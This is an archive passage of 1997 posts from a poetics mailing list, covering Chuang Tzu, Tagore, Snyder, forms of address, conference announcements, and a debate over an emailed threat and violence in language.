pls. pardon if there was anything a tad snappy (if that's the word) in my (earlier) post responsive to this. The thing is, "analysis is useless" is a formulation which is only useful in some contexts; in others, it is (itself) a bit useless. Or so I suppose. It's interesting that Waley describes Chuang Tze in those terms -- i.e., his "methods being those of the poet" -- since (on a formal or literal level) it was (rather) Lao Tze who was the poet, whereas Chuang Tze was the prose writer & storyteller. I guess Waley uses the expression "the poet" in a conventional (& idealizing) sense rather than in any literal sense. The notion of "the method of the poet" is interesting, and has something to it. For that matter, the method of Chuang Tze (which Waley calls that of "the poet") seems to me not dissimilar from that of Rabindranath Tagore (about which George Thompson expressed certain reservations -- reservations which I've oftentimes heard expressed, though I don't share them myself).

Call him whatever one might, to me Chuang Tze is one of the most delightful of writers this world has seen. The Inner Chapters (the basic kernel of his work, comprised of texts that are generally considered most certainly to have been written by him) are marvels of mysticism. To anyone who's not taken the time to give 'em a read, Uncle David ventures to suggest: check it out. I rather like the version (w/ photos) done by Gia Gen-Fu [?? spelling not sure] & Jane English in the '70s or so -- & still in print (poss. in a smaller no-photo version). Burton Watson's, too, is good (hopefully still in print) -- probably could be considered the standard translation. Thomas Merton's early rendering is more quirky -- it's okay, but he didn't read Chinese, and the organization leaves something to be desired. No doubt you know the work, Rebecca -- I'm more rattling here for poss. interest of other parties (and/or partiers).

d.i.

p.s.: am still thinking (bit more) abt. Dean Brink's quotation from the "healing buddha" text of Snyder. Okay, I'll admit I had a bit of a mixed reaction to the

poem myself, when it first appeared in a journal somewhere, don't recall where -- might've been in the quarterly TRICYCLE (which I'd recommend to anyone interested in American Buddhism). It seems that Snyder plays upon -- especially -- some Tibetan texts involving a healing Buddha. I like his updating of the ubiquitous (indeed, characteristic & unforgettable) Mahayana penchant for beautiful hyperbolic descriptive evocations of vastitude --

> *It would take you twelve thousand summer vacations*
> *driving a car due east all day every day*
> *to reach the _edge_ of the lapis lazuli realm of*
> *Medicine Old Man Buddha:*

Sandalwood? Nice stuff. I got out of the habit of lighting it, but maybe the 4th is a good occasion to resume. (Better than sparklers.)

For some sense of antecedents in Snyder's thinking re: sacred texts & poetry &c, his letters to Howard McCord regarding the latter's *Gnomonology* may prove of interest. Gnomonology is online at:
http://www.geocities.com/Paris/LeftBank/7641/

(Excerpts from two letters from Snyder appear as an Afterword to that work; here's the more direct link to the Snyder pages:
http://www.geocities.com/Paris/LeftBank/7641/index23.html)

Like many before him, Snyder is no doubt among those who've been somewhat influenced by a view of Sanskrit as a sort of UR-sacred language -- a view of which George Thompson has had occasion briefly to mention. It's certainly a language that, once you've heard a bit of it, does seem to hold evocative power. Not many folks will venture to include Sanskrit slokas in their American poems, but Snyder is one such (though very rarely doing so). I think anyone so enamored of & embued by Buddhist studies over the course of so many decades as this gent, might well be apt to do the same at some point . . . I found Allen Ginsberg's Boddhisattva invocations (in the "Witchita Votex Sutra") stunning / arresting, when I heard AG recite same at PS-122 abt. 9 years ago, with Phil Glass noddling at the keyboard. As could be said of other languages, but in perhaps its own peculiar way, Sanskrit is a basic at some level of human experience; -- in some lives we study it, in some we encounter it in passing. Seems we keep returning to languages . . . or they to us. It's all a long, long haul & needs more than a month of Sundays.

d.i.
.
.....
.....
\\\

```
  >>     washington  d.c.     <<
| [redacted]     (home)
| [redacted]     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
//////////////////////////////////////\\\\\/////
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126. Susan Landers

Mid-Atlantic GLBT Writers Conference

Fri 4 Jul 1997

On October 31 thru November 2, there will be an Mid-Atlantic Gay, Lesbian, Bi and Trans Writers Conference in Washington DC, sponsored by the Lambda Book Report, a montly book review of GLBT literature. The conference will include panels, workshops, and performances by poets, fiction writers, essayist, etc. from Massachusetts all the way down to Florida. (Mid-Atlantic is a somewhat loose term). Attendees are encouraged to come costumed as their favorite author or character on the first evening. It will be held at the Washington Plaza Hotel near Dupont Circle. Room rates are $99/night.

If interested in participating, or for more information, please contact: Sue Landers at [redacted].

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127. Chris [Steve] Piuma

flim: a free page, Volume one, Issue seven, now online.

Fri 4 Jul 1997

---

flim: a free page

flim 1/7 is now online. Come check it out at

http://www.brainlink.com/~cafard/flim/flim0107.html

This month's goodies include:

* Kora in Heck: Improvidences
  by Chris Piuma
  "Toothpaste is sickness. Proof is in the prof. Try loop-the-loops to link?"

* Wicked Witch of the East Smashed Potatoes
  by Wednesday Gross [the winning recipe from contest no. 5]
    "This is not company food. It is _comfort_ food. Yum. Life is good."

* another excerpt from The Map of the World of Products
  by Deirdre Day-MacLeod.
    "...full of ideas like maple syrup on pancakes and clam chowder..."

* A is for abecedarium
  by Chris Piuma
    "H is for humanity. I is for me."

That's it this time around; Kora in Heck is a bit long. The printed version should be out in a few days, along with the printed version of issue 1/6.

flim is currently jumping up and down looking for submissions. Any original piece of writing in paragraph form from 50-450 words will be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. It comes out more or less once a month, in both WWW and paper format [in both cases, just one page long]. _flim_ is edited by Chris Piuma [[redacted]].

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard flim: http://www.brainlink.com/~cafard/flim/index.html from the current issue: "Never see you these days. Work Syndrome. Sick policies. A full time thousand."

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128. David R. Israel
Explanation (delayed gratification)
Fri 4 Jul 1997

Poetas, techno division:

Lateley a Po Listie asked me about what's up w/ the listserv silence.

Here's my "educated guess" reply, for poss. general interest . . .

> *Hey David. . . . . I wonder what's up with my mail. I'm not getting any for long stretches, and then some mysteriously appears. Others seem to be noticing the same phenomenon. I'm sure it'll sort itself.*

As I understand it, what's up is this . . . The listserv has a computer-maintained limit of 50 posts per day (each "day" ends at midnight, east coast time). If the list hits 50 posts prior to end of day -- or, if it exceeds 50 (not sure which), then what happens is (a) the excess posts are put on hold, and (b) the list is sort of put on hold till the list-owner (Charles Bernstein) manually "releases" it -- when

he does that, then (a) all the held posts are distributed, and (b) the new "day" officially begins. So if Charles is off on vacation or not logged on or not attentive to the fact he needs to do something, then we'all can cool our heels till he takes note of the situation. I think that formerly, a chap named Joel Kuszma [sp?] was taking care of this admin. stuff, but he's moved from Buffalo and now presumably Charles is doing so himself, presumably not quite as attentively as Joel -- and the situation is exacerbated [sp?] by fact that lately, with all the fast & furious posting going on, we've been apt to hit the 50 mark somewhat early on (e.g., mid-afternoon) . . .

that's the techno answer according to my understanding. I actually posted two (! count 'em) poem-type-items during the 1st list hiatus, dealing with same. Now we're in the midst of another -- and it seems possible that good Charles might not take note of this one till after the 3-day weekend! (just a wild guess) -- last time, I sent him a couple backchannel notes to try to bring the situation to his attention, but I'm not sure if I want to become a list-pest & do that each time. In past, he's occasionally sent out backchannel notes encouraging folks (on an individual basis) not to over-post. But sometimes, when dialogues are happening, some notion of rationing by strict numbers, doesn't necessarily work well . . .

will that suffice for a long answer? -- this is my empirically-based understanding. (Don't really know all the techno specifics.)

d.i.

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Book 1: Athena Inspires the Prince
trans. Robert Fagles (1996)
~~~~~~~~~~~~~~~~~~~~~~~~~ svaha

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129. Maria Damon

Re: "Ms"

Fri 4 Jul 1997

---

just a note on the ms thread: i find it offensive when students refer to male professors as professor so and so but to me as ms/miss damon. both ms and miss are equally offensive in that context, where i feel i'm being de-professorized because of my gender, the assumption being that a woman couldn't possibly be a *real* professor. it is no less offensive --in fact it is more so--in that the student does not intend to be insulting me. of course, i am gentle with them, since they are nice kids and it's not their fault that society demeans women. i don't show the extent of my offendedness, sometimes don't correct them at all. but it is nonetheless offensive--md

At 3:45 PM -0400 7/1/97, David Israel wrote:
>[was: Subject: Re: Poems/Identities }
>
>Just to add a note of comparative data to the Ms thread:
>
>I worked for many years as a secretary in law firms in San Francisco,
>New York, Washington, DC. In such environments -- (and I think,
>likely, more broadly in much business correspondence in the U.S.) -- Ms.
>has long been is a standard (indeed, the requisite) form of salutation for
>all women. In these environments, "Mrs." or "Miss" are, generally
>speaking, no longer in use -- they are considered outdated.
>
>Not suggesting this is found (or should be found) everywhere -- just
>noting that, interestingly, it's what I've observed in the noted context.
>
>In any case, I accept David B.'s suggestion that he had no hostile intent in
>using that form of salutation; -- & I'm sure he (and anyone else here) will
>be happy enough to address Kali Tal as she might best prefer.
>
>d.i. (the black kids in my high school called me "professor"
>but I never became one . .)
>
>Mark Weiss wrote:
>
~~~~~~~~~~~~~~~~~~~~~~~~~

><< I'm from New York, I've lived all over the country, and I've never
>used Ms. except when I don't know what else to use. More often than
>not it's what I use in letters when I'm depending on the good will of the
>recipient, as in asking for a job, a blurb, etc, and the recipient has not
>made public her marital status. Anything, including mister ("who do you
>think you are, mister?"), can be used to call out. >>

↑ Index

130. **Maria Damon**

Re: Writing and Computers 10 (final call for abstracts) (fwd) (fwd)

Fri 4 Jul 1997

> *---------- Forwarded message ----------*
> *Date: Mon, 30 Jun 97 13:27:39 BST*
> *From: Simon Shurville <[redacted]>*
> *To: [redacted]*
>
> *Writing the future: final call for papers*
>
> *University of Brighton, September 18th and 19th, 1997*
>
> *The tenth annual Writing and Computers conference (http://www.itri.brighton.ac.uk/events/WandC97/) will be hosted by the University of Brighton near the lively seaside town of Brighton. The theme this year is Writing the Future-potential developments in writing with computers as we enter the next millennium.*
>
> *The conference regularly brings together an international community concerned with all aspects of computers and the writing process, including psychologists, software designers, educational researchers, teachers, journalists, authors and technical writers. This year our presenters hail from America, Australia, Canada, Europe (East and West) and Japan.*
>
> *Over fifty papers have already been accepted. These address the following topics: Collaborative Writing; Computer-based Writing Tools; Education; Reading and Writing the World Wide Web; Language Education; Processes and Models of Writing; Screen and Paper Authoring; Social Implications of New Writing Technologies; and Story Generation and Interactive Fiction. There will also be workshops and around twenty new systems will be demonstrated, including the Composer system and various commercial packages. See the web pages for more details.*
>
> *Although the deadline for paper submission is officially past we are still interested in reviewing abstracts for presentations on the following topics: collaborative writing, gender and or ethnicity, on-line writing (specifically in the classroom), new computer-based genres and social*

implications of new technologies. Time, however, is very tight. We would need to receive a 500 word abstract by Friday 6th of June [sic: supposed to read
July] (please e-mail
the abstract in ASCII form (no mime etc) together with physical and e-mail addresses for each author).

The cost of attending the conference is 130 pounds (which includes accommodation for two nights).

For more details, or to order copies of the proceedings, please contact

Simon Shurville
The Language Centre
University of Brighton
Falmer
BN1 9PH

E-mail: [redacted]
http://www.itri.brighton.ac.uk/events/WandC97/

Simon Shurville
The Composer Project
T 112 The Language Centre
University of Brighton
Falmer
East Sussex
England

The web page for Writing and Computers 10 is at:
http://www.itri.brighton.ac.uk/events/WandC97

.

---------- *Forwarded Message ends here* ----------

Michael Dickel
The University of Minnesota English Department
Student Writing Center
306a Lind Hall
[redacted]

> *http://composition.cla.umn.edu/CourseWeb/lab.html*
>
> *Writing Support Network: http://www.writinghelp.umn.edu/*

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131. Maria Damon
query
Fri 4 Jul 1997

---

does anyone recognize these lines:
ficus flower, unspeakable the bridge to thee
ficus flower, thy pardon for this tortured history
?

or this:

Part One: Across the Southern night, and all afternoon the water calms you softly, white and black, Mary Magdalen eves you, stumbling homeless gardeners to grief, and bound by infant bone, we drag ourselves back to the naked copies of your flesh

or this?

o pilots in robes of white skin, in the approach to the black rock, with their great gouged-out eyes, and the actors in gouged-out skins, a star of no allegiance traveling the heights of a green [century?], 'cuz all along their seafronts tall cities flamed in the sun of the sea of Baal, in the sea of Mammón, the sea of all ages, the sea without limits, the sea without decline and due seas...

or this:
the ancients are walking, the ancients are walking. My singing white ancestress, I summon you now

??? any help would be much appreciated!--maria d

↑ Index

132. Secretariaat Germaanse
Re: Stanza Breaks? (Re: a poem)
Fri 4 Jul 1997

So we actually ARE on a poetics list...

This sounds like a real question, and interesting too (no irony)

geert buelens
university of antwerp

On Thu, 3 Jul 1997 14:58:36 +0000 Joseph Zitt wrote:
> Subject: Stanza Breaks? (Re: a poem)
> To: [redacted]
>
> A possibly naive question on your poem: Why do the stanzas break where
> they do? I'd looked at it, shifting the breaks around, and their
> positioning didn't seem to have much effect. Was there a pattern I'm
> missing?
>
> (I wonder this about a *lot* of poetry, especially those, such as this
> one, in which the stanzas in a section are of uniform length in a way
> that seems unrelated to the content. This is just the first chance I've
> taken to actually ask someone.)

↑ Index

133. Tom Mandel
power in language
Fri 4 Jul 1997

As Beth Joselow said to me earlier today, "when Dodie writes something I read it." This is certainly the only interest I can muster in the Dawn Din.

Still, I can't help commenting on it, because it seems so odd that Bellamy and Tal and perhaps others too want to distinguish between language and physicality and to remove violence from language. Effective violence.

Doesn't that seem sort of ridiculous? Language is altogether and immensely physical and effective and powerful; and this need have nothing to do with being able to translate what you say into physical fact.

Would Jay Schwartz have been justified to feel a moment (or more) of fear when someone unknown to him offered via email to cut his nipples off? I think so, and that's enough for me. I think what Kim Dawn -- if such a person exists -- did is stupid.

Actually, when I saw "her" first post, my initial reaction was to feel afraid for her. I nearly backchanneled her an email to be careful what she said. Expressing sexual longing (which is what her first post did) online is an invitation to be harrassed. In language and otherwise.

For a long time people said that Jews had little horns on their heads, vestiges of their devilish provenance and reminders of their continued devilish connections. Those who so said had no power individually to harm those Jews. Just ordinary people. Somewhat later, Jews were made to don horns and march around town squares. Again by ordinary people. These two facts are part of one

another. There is no difference (and this, btw, is why in the past I have seemed so insistant in my resistance to little "harmless" expressions that are only a little racist).

I owe the apt analogy of horns on Jews to conversation with Beth too.

Lisa Jarnot quoted Robert Duncan here, to the effect that we need to remember that Hitler was just another person, a human possibility perhaps not so very different from our own. Right, and it is to the seriousness of what we do and say that Robert was referring. (horns on us all, if you will).

It's a shame to have to be so serious. A shame not to just be able to threaten to cut the nipples off someone one doesn't know and then call it "art." Or whatever. Instant attention. It's a "work."

Someone somewhere right now is torturing someone whose opinions (or whatever else) are foreign. Cutting that person's nipples off.

Obviously, these remarks don't exhaust the relationships between violence and language in art: a relationship which extends from Homer and the Torah to Burroughs, Genet, Fanon, Kathy Acker, and on. It may be necessary to embed that human issue in our work, it is necessary to some. I just can't read an uncontextualized email threat on a real person in quite that way.

Anyway, once you've done it once it's kind of a bore. I find (the sexuality of) Kim Dawn's writing an utter bore (but, then, she may well find my work boring. I sure hope so).

Give me George Bataille any day. Sappho. Truman Capote. Raymond Chandler. Simone Weil. Tzvetaeva. Lyn Hejinian/Carla Harryman's "The Wide Road." Or the work of Dodie Bellamy. When she writes something, I want to stop what I'm doing and read what she has written.

Tom Mandel
Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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134. Rebecca Weldon
Waley reference
Sat 5 Jul 1997

The methods of Chuang Tzu are those of the poet, and in the case of poetry analysis is useless.

Arthur Waley, Three Ways of Thought in Ancient China, preface

He also quotes Chuang Tzu, somewhat further on:

A basket trap is for holding fish; but when one has got the fish, one thinks no more about the basket. A foot-trap is for holding hares; but when one has got the hare one need think no more about the trap. Words are for holding ideas; but when one has got the idea, one need think no more about the words. If only I could find someone who has stopped thinking about words (yen) and have him to talk (yen) to.

He then proceeds to a discussion of the trials of the translator with respect to the words yen (both noun and verb words and talk), a dilemma which, I imagine, would have delighted both Chuang Tzu and Han Shan. This contemporary application of an ancient shred of verse is a clear illustration that the poetry of the original has become insubstantial when thought of in words. Think of this: if poetry is the trap, what are we catching?

Given that I, myself, delight in the intricacies of translation (which often inspire me), I am hardly anti-reference. Also, I have no objection to orientalists, only think that their findings should be carefully scrutinized, if you please. Fortunately, Waley held himself to the same standards as those writers he translated, because we are much the richer for his interest in the Orient. As for Gary Snyder, I sincerely doubt that I will be able to comment upon the work in question unless someone puts it on the web, for my home is far away and my budget limits me to the internet, the New York Review of Books and Thai litterature and poetry.

However, I do think that Buddhism needs some investigation on site by those interested by it because assumptions are made about the Orient on this basis. As religion becomes less important to a new generation, the devout have become positively fanatic and a collection of Buddhist Poetry would be regarded by the former as to be avoided under all circumstances in order to prevent boredom. Contrary to popular belief, not every Thai male enters the monkhood, but Thai social convention and superstition prevent open disrespect. In other words, they think the monks are full of it but are also afraid they'll be struck down by lightning for thinking.

As example, a few months ago I participated in a ceremony performed for a wealthy woman by nine monks who received very generous donations to their

respective temples. After the service, while being escorted home, several were heard to be discussing using the donations to travel to the United States to visit temples there. And, although I do not equate this type of behavior with Buddhism, I can see how people would become disillusioned by their religion when it's practitioners act in such a manner. I do not intend to participate at this time in a discussion of religion, belief and practice and will not repond to anyone who does, but use the point to debunk certain myths of the Orient. As I said, Western Oriental Societies are quite fascinating.

To close this off and with respect to purifying ears, I would like to point out that the hermits et al of Chuang Tzu fame were mostly musicians running away from Confucius. I would imagine they ran to water (rivers, springs, oceans, ponds) not to purify but to bring to mind the changeable nature of water itself.

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135. Rebecca Weldon
Re: Tagore / Orientalism
Sat 5 Jul 1997

At 09:17 AM 02/07/1997 -0400, George Thompson wrote:

> *On the other hand, Tagore's poetry has never worked for me. There is almost universal deference among Bengali literati and scholars for his Bengali poetry. But for me at least [unable to read his Bengali] his poetry does not carry over to the English translations, which have always seemed to me to be more or less bad pre-modern romanticism.*

then

> *Gandhi remains a more interesting figure for me, not only because of his indisputable "truth-force" [satyagraha], which without raising a stick *forced* the British out of India, but because he was a more astute observer of the ways in which traditional imagery and traditional ideology worked on his culture.*

Was Tagore writing to throw out the British? Did Gandhi's success make him a poet? Have you read his autobiography? pre-modern, yes, romantic, yes, but bad? I, personally, would learn Bengali before making such a statement, not only because his fellow Bengalis think him great, but also because he translated himself most of what is translated at all. Poets of the sub-continent seem to attract bad translators and I don't think they should translate (but edit, certainly) their own work either, as so often happens.

I, personally, read much more into those bad translations than you do and disagree with your assessment of Tagore. He has been translated into Thai, too; perhaps Thai is a better language for his type of poetics than English. Of

course, if you don't LIKE his writing, that's an entirely different case altogether, but comparing Tagore to Gandhi is comparing the proverbial apples and oranges, isn't it? Is your orientalism showing?

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136. Dan Raphael Dlugonski

From: Kali Tal Re: Poems/Identities & someone else on reaching a broad audience

Sat 5 Jul 1997

Since i get digest and then only read them every third day or so, so on a bit of atime warp

I work with the public (state employee) and consciously refer--exept for those occasions where i'm comfortable just going on a first name basis (my office is in a wealthy suburb)--to all women as Ms (& men as Mr.). yes, there will for a long time be people & institutions holding on to old prejedicial notions, but cant let their attitudes hold back a useful tool for change (to get to a place where Miss & Mrs are perhaps the slang terms, and Ms is standard.) Like in those occasions where my writing needs a 3rd person that could be either gender, i use e (or er for pssessive.)

as to the other comment, i feel the best way to reach the bropasedest audience is to intuitigely get inside language, get language speaking through you. you need to do the opposite of 'try', which may be 'be.' this does not mean leaving the self out (tho it usuals means leaving out intentions and plans) since all music is influenced by instrument its coming out of (& considering the musician as part of the instrument.)

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137. Maria Damon

Re: fwd, conferences

Sat 5 Jul 1997

Approved-By: Center for Advanced Feminist Studies <[redacted]>
Date: Mon, 30 Jun 1997 12:35:22 -0500
From: Center for Advanced Feminist Studies <[redacted]>
Subject: Conferences
To: Multiple recipients of list CAFS-F2 <[redacted]>

REVEALING MALE BODIES

Edited by Nancy Tuana, William Cowling, Maurice Hamington, Greg Johnson, and Terrance MacMullan

We invite submissions for an anthology of original essays exploring the experience of male embodiment to be published by Indiana University Press. Revealing Male Bodies will examine how men's bodies are physically and experientially constituted by the economic, theoretical, and social practices in which men are immersed. This anthology will consciously respond to the challenge raised by feminist theorists to provide explorations of male lived experiences. Articles addressing, but not limited to, the following topics are sought:

* Intersections of Race and Maleness
* Phenomenologies of Male Embodiment
* The Social Construction of Male Bodies and Male Lived Experience
* Relations Between Male Bodies and Power
* The Epistemological Significance of Male Bodies
* The Male Body as a Site of Resistance
* Relations Between Cultural Imagery of Maleness and Lived Male Experience
* The Impact of Male Lived Experience on Cognitive or Creative Activities

In addition to the above topics, the editors are interested in articles that address the intersections of phenomenological and social constructivist methodologies, as well as pieces that provide avenues for dealing with male bodies and male embodiment in ways that avoid or transform traditional understandings of essentialism.

We encourage works that reflect diverse approaches, methodologies, and styles. Given the anthology's multi-disciplinary character, we invite papers which balance rigorous scholarship and general accessibility.

There will be a two step review process. If you are interested in writing for this anthology please submit an abstract of no more than 500 words and a vita by January 15, 1998. Based upon a review of the abstracts, potential contributors will be notified to submit a completed paper for consideration. The deadline for submission of the final article is July 1, 1998.

Please send two hard copies of abstracts to:

Nancy Tuana
Department of Philosophy
University of Oregon
Eugene, OR 97403-1295

For questions or correspondence contact:

Maurice Hamington
835 Edgewood Dr.
Albany, OR 97321
[redacted]
[redacted]
****

From:†Katherine Side <[redacted]>

International Conference on:

MOTHERS AND DAUGHTERS: MOVING INTO THE NEXT MILLENIUM

Sept.26-28, 1997 York University

Positioned at the threshold of the new millennium, this interdisciplinary conference aims to consider the most recent scholarship on mothers and daughters and investigate the concerns of mothers and daughters as they enter the next century. This conference will bring together the major writers in this area along with interested academics, students and activists in order to promote the development and dissemination of feminist scholarhip on mothers and daughters.

Keynote speakers at the conference will include Miriam Johnson, Christina Baker, Sara Ruddick, Helen Lucey, Katherine Arnup, Patricia Bell-Scott, Suzanna Walters, Marianne Hirsch, Paula Caplan, Janet Burstein, Naomi Lowinski, Sylvia Hamilton and Esther Broner.

Participants will have the opportunity to hear all the keynote speakers, as well as to choose from 34 conference sessions which are grouped broadly around the themes of disability, popular culture, state, feminist theory, lesbian mothering, literature, biography, race, class, education and family.

Conference Agenda:

Friday, Sept 26
2-4pm Registration
4-6pm Concurrent Sessions: Reproduction, Lesbian Mothering, Writing and Mothering, Immigrant Mothering, Biracial Mother/ Daughter Relationships, When Daughters are not Mothers, Power and Violence, The Last Closet: Motherhood and the Visual Arts.
6-7pm Dinner
7-9pm Keynote Event I - MOTHERS, DAUGHTERS AND FEMINISM
9-11pm Reception

Saturday, Sept 27
8-8:30am Breakfast
8:30-10:30am Keynote Event II - MOTHERS AND DAUGHTERS: RACE, CLASS, SEXUALITY
10:30-11am Coffee Break
11-1pm Concurrent Sessions: Disability, Representations in Popular Culture: Media, Domestic Workers, Representation and Maternal Identities, Children's Literature, Aging and Motherloss, Motherwork, Third Wave: Initiatives in Education.
1-2pm Lunch
2-3:45pm Keynote Event III - MOTHERS, DAUGHTERS AND REPRESENTATION
3:45-4pm Coffee Break
4-6pm Concurrent Sessions: Home and School, State Policy, Theorizing Mother/Daughter Relationships, Canadian Literature, Bad Mothering, Personal Stories of Self as Mother, Class and Mothering, Young Girls Speak Out.
6-8pm Dinner
8-11pm Cabaret

Sunday, Sept 28
8-8:30am Breakfast
8:30-10:30am Concurrent Sessions: Theorizing Mothering, Genre, Voices of Mothers and Daughters, Mothering Across Cultures in Literature #1, Jewish Mothering, Feminist Socialization, Mothering and Health, Teachers as Women: Creating Space for Girls' Voices While Exploring Their Own.
10:30-11am Coffee Break
11-1pm Concurrent Sessions: Representation in Film, Black Parenting, Coming Out as a Lesbian Mother, Infertility, Mothering in the Life Cycle, Mothering Across Cultures in Literature #2, Domineering Mothers? Resisting Daughters? Mother-Daughter Narratives in the Teaching and Learning of Women's Studies.
1-2pm Lunch
2-4:30pm Keynote Event IV - MOTHERS AND DAUGHTERS: TELLING OUR STORIES

CONFERENCE REGISTRATION:

Cost: $150 - regular
$60 - student, limited number available

To register for this event, please send the following information (via email, fax or mail) and a cheque to:

Cheryl Dobinson
Centre for Feminist Research
228 York Lanes
York University
4700 Keele Street
North York, ON
M3J 1P3
Canada

phone: [redacted]
fax: [redacted]
email: [redacted]

IF YOU REQUIRE MORE INFORMATION ABOUT THE MOTHERS AND DAUGHTERS CONFERENCE, PLEASE CONTACT US AT THE CENTRE FOR FEMINIST RESEARCH, AS PER ABOVE.

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138. David R. Israel
origins
Sat 5 Jul 1997

A friend sent me these lines; I'm unfamiliar with the translation, but it seems a telling specimen of this poet's fine utterance.

I am a mountain.
My words, my sounds are from my beloved.
I am a painting.
My beloved is my painter.
Did you think these are my words?
They are the sounds
Which come after the key turns in the lock.

Translated by Dr. Nevit O. Ergin

d.i.

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139. **Kali Tal**
Re: identity
Sun 6 Jul 1997

> *Here's an identity question: If Bambi the deer is supposed to succeed "his" father as king of the forest "he" must be male. So is it just a colossal example of inattentiveness that generations of little girls (and never little boys) get named Bambi, or was that deer in drag?*

Bet you can blame Disney for that. (And what *can't* you blame Walt for?) Disney took Felix Salton's quite potent fawn-to-buck bildungsroman and wimped the resourceful protagonist up into a doe-eyed Steif cuddly-toy, feminizing him so effectively that they never even considered doing Salton's *second* Bambi book on screen, _Bambi's Children_, cause it's just too silly to think that the high-voiced adolescent could ever get up the gumption to *breed*. Besides, nobody ever reads _The Yearling_ anymore, and few people have any concept of the viciousness of a cornered deer. Disney's Bambi never could be the kind of King of the Forest that, say, the Lion King could pull off--the lion's a predator, for crissake. And what chance does an *herbivore* have to be manly anyway, especially if he ain't an elephant (cause size *does* matter, y'know). It's sorta like little boys get called "Tiger" and little girls get called "Kitten." There're both male and female housecats, but no *real* man would ever compare himself to a housecat, right? So, no *real* man would ever name his boy after a deer 'cause it gets eaten by real men (and he-man animals like wolves and mountain lions). All this animal identity stuff gets so complicated, doesn't it? Like Lassie (who was supposed to be a female dog character) being portrayed by a series of male dogs who apparently could pull off playing females better than any of their female counterparts. Sure, inattentiveness probably has something to do with it (I mean, you don't expect a lot of attention from people who name their daughters Bambi, right?), but I think animal gender stereotyping is THE REAL ISSUE HERE.

Now me, I'm low-slung, I weigh 140, got big nasty teeth, and a helluva snarl. You won't catch anybody trying to get underneath me to see if I'm male or female, and that's a good thing 'cause I'd bite their fucking face off. World would be a better place if people started naming their daughters after me, I think...

Spike the pit bull
"On the Internet no one knows you're a dog."

↑ Index

140. Kali Tal
Re: identity
Sun 6 Jul 1997

> *So if I named my daughter Lassie I'd be inadvertently naming her after a transvestite?*

Well, no, you wouldn't be. That's the funny thing. I mean, it's hard to consider the male dog who played Lassie as a dog-in-drag, cause he was just walkin around bein the dog that he is. It's *people* who were looking at a male dog doing his basic male dog thing and *seein* a female dog. And the reason they were mistakin a male dog for a female dog is cause whoever was in charge of the show decided that a *real* female dog just, wouldn't, well *look* like an impressive enough animal for the audience, but that the *role* required that people *believe* they were seein a female dog. This is weird on so many levels it just leaves me scratchin.

Spike

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141. +++christine+++
call for action
Sun 6 Jul 1997

fwd message:

> *arts-alert-usa---------- (RED)----------(7/3/1997)*
>
> *The full House vote on the Interior Appropriations Bill which includes the provision to cut the NEA by 90% to $10 million moves to the house floor on July 9. Emergency action is required. Please contact your representatives over the July 4 holiday to make sure that YOUR views are heard on the preservation and nurturing of our American culture and its institutions.*

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142. David R. Israel
Re: Tagore / Orientalism / Ray
Sun 6 Jul 1997

Interesting observations, Steven Marks, about visuality/ scene "framing" in Satiyajit Ray's early films. You note,

> *And to tie Ray with Tagore, Ray attended Tagore's famous school, Santinikaten.*

More than that, Ray made several films based on Tagore stories -- such as (I believe) the very lovely black & white film *Charulatta*. This film includes an interesting scene of the "process of poetry writing". The heroine, Charulatta, is

being taught to read and write Bengali, and we see her in the midst of early experiences of poetry composition. (It seems a useful "classic" film passage, perhaps, for considering how that process is understood & portrayed.) The later Ray film *The Home and the World* (Ghair / Bhair I think is the Bengali) is based on an epistolary novel by Tagore. I suspect there may've been other films by Ray likewise based on Tagore's stories -- he was a novelist and a fine short story writer, as well as a poet & composer & -- later in life -- a rather experimental painter.

I don't think I'll enter into the Tagore (and/or Gandhi) debate at leasts until returning to the NYROB article & finishing it -- I read some paragraphs a while ago while dining at Planet Hollywood -- learned (at least) that Tagore was evidently the source (or popularizer) of the honorific "Mahatma" . . . I found myself mentally quibbling with the article's attempt to demystify Tagore, in the sense of seeming to suggest it's a mistake to view him as a mystic. True, it may be a mistake to construe him as a mystic as that term was (rather narrowly) conceived by some in the early part of this century. Found it interesting that Pound was an early advocate on Tagore's behalf -- and that Yeates was (evidently) later so strongly anti-Tagore (after having 1st been so starry-eyed an admirer) . . . Anyway, I think the world of Tagore and his writing, and -- like Rebecca -- find there's a tremendous lot one can get from (or read into) his poetry. I can understand the reaction and how it can be read as seeming like "sentimental romantic" stuff, but I find it's pretty easy to get beyond such (imho) superficial response, even with the English versions done by Tagore (which are, certainly, in the late Victorian mold) -- and very rewarding to do so. Interesting that Tagore seems to have been admired by a number of Latin American poets (as witness, for instance, Neruda's translation of at least one of his poems). But I wasn't going to say anything . . . .

cheers,
d.i.

```
 .
 . . .
 .  .  .  .  .
\ \\\\
```

```
|                ever & afresh ...
|  one half of you is woman
|            the other utter dream
|
|     Tagore, "Manasi" (a la d.i.)
////////////////////////////////\\\\\////
```

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143. **Michael Magee**

Re: Harryette Mullen, part II

Sun 6 Jul 1997

Yes! that's the other one I was thinking of.. -m.

According to [redacted]:
>
> there's also an interview with harryette mullen (by barbara henning) in the
> oct/nov 1996 poetry project newsletter available for $5.00 from the poetry
> project, st. mark's church, 131 east 10th street, ny, ny 10003.
>

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144. **luigi**

Re: A List of Poetry Schools Revisited

Sun 6 Jul 1997

---

since bob grumman has commented on some ov our backchannel discussion, i thot i would bring my part in it forward:

i wrote (to bob, cc. to mark p & ron s):

> *Date: Mon, 7 Jul 1997 10:50:10 -0500*
> *From:[redacted] (robert drake)*
> *Subject:Re: A List of Poetry Schools Revisited*
>
> *bob--*
>
> *ron s. & now mark p. have called you on th "acadominant" neologism,*
> *& while i think _i_ know what yr getting at there, it seems not to*
> *be clear to others. i think yr trying to get at (your?) a sense that*
> *LangPo needs some critical apparatus around it for folks to "get" it?*
> *L=A=N=G=U=A=G=E magazine & many ov th practicioners reinforce that*
> *sense by supplying such critical commentary, often enuf blurring th*
> *distinctions between the "commentary" & th "work"; that was part of*
> *th project, as i understand it... that critical apparatus is, in a*
> *sense, expropriated property of th "acadamy", even tho the entrenched*

